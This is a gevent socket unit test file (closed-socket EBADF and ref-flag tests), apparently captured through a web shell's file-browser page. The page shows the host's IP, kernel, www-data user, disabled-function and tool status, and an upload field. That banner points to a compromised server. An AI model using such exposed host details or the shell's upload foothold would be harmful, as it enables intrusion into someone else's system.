| Server IP : 85.214.239.14 / Your IP : 216.73.216.178 Web Server : Apache/2.4.65 (Debian) System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64 User : www-data ( 33) PHP Version : 8.2.29 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /srv/modoboa/env/lib/python3.5/site-packages/gevent/tests/ |
Upload File : |
import gevent.testing as greentest
from gevent import socket
import errno
import sys
class TestClosedSocket(greentest.TestCase):
switch_expected = False
def test(self):
sock = socket.socket()
sock.close()
try:
sock.send(b'a', timeout=1)
raise AssertionError("Should not get here")
except (socket.error, OSError) as ex:
if ex.args[0] != errno.EBADF:
if sys.platform.startswith('win'):
# Windows/Py3 raises "OSError: [WinError 10038] "
# which is not standard and not what it does
# on Py2.
pass
else:
raise
class TestRef(greentest.TestCase):
switch_expected = False
def test(self):
sock = socket.socket()
assert sock.ref is True, sock.ref
sock.ref = False
assert sock.ref is False, sock.ref
assert sock._read_event.ref is False, sock.ref
assert sock._write_event.ref is False, sock.ref
sock.close()
if __name__ == '__main__':
greentest.main()